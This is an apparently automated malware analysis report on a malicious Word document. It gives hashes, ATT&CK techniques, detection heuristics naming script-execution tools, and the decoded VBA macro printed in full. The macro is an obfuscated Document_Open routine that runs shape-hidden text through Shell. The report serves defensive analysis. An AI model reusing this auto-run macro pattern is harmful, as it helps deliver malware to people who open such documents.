Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8f69576e5fc7137…

MALICIOUS

Office (OLE)

78.4 KB Created: 2018-11-07 16:31:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: dbce8c483af44258b6bfdedfeeda12f0 SHA-1: a5472e8bf2051aa8b2071bc06d76120ff6cf4463 SHA-256: c8f69576e5fc713779688615b85faf919fad47cdbe883a4c14bfdf4bbd776041
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro that executes a highly obfuscated PowerShell command. This command appears to decompress and execute a second-stage payload, likely for downloading further malware. The presence of cmd.exe and PowerShell execution heuristics strongly supports this malicious intent.

Heuristics 7

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 953 bytes
SHA-256: d9b6debccf44e7d1461294404dde9600381bf3ca8164b4110d55304e6b5c3281
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IVXQSkJuIlz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatDateTime (qNKGA + oKrcN + obEwT + zuaTX + jZjQK + jETPqD + qGUaJ + mREItT)
   FormatDateTime jzfwWq + WblXAB * IBZkAj + EdURWl - iQnwj + zFoQU + aUfjC + vqIDj
   FormatDateTime LiVKhA + nrKwb + zwDNI + nGIZu - (Iautb + idoqSj + jTImcU + brvsFq)
   FormatNumber joCEbs + ZJuQc / zdIjT + YwiUjF
Const SVwNjcHjU = 936988130 - 936988130
Shell@ Shapes(iColGl + oNIlKtwr + 1 + RdOnMlHC + UWzSB).TextFrame.TextRange.Text + HGfViAdU + zNCjc, SVwNjcHjU
   Error rMCrq + iEovf + NpjCw + ljWidl / taJou + sBmap + DREBR + EzBFWN
   FormatDateTime (oqnrJ + RYwbUP + anQaOu + vZhiEo * (nQoEv + qjBNvR))
End Sub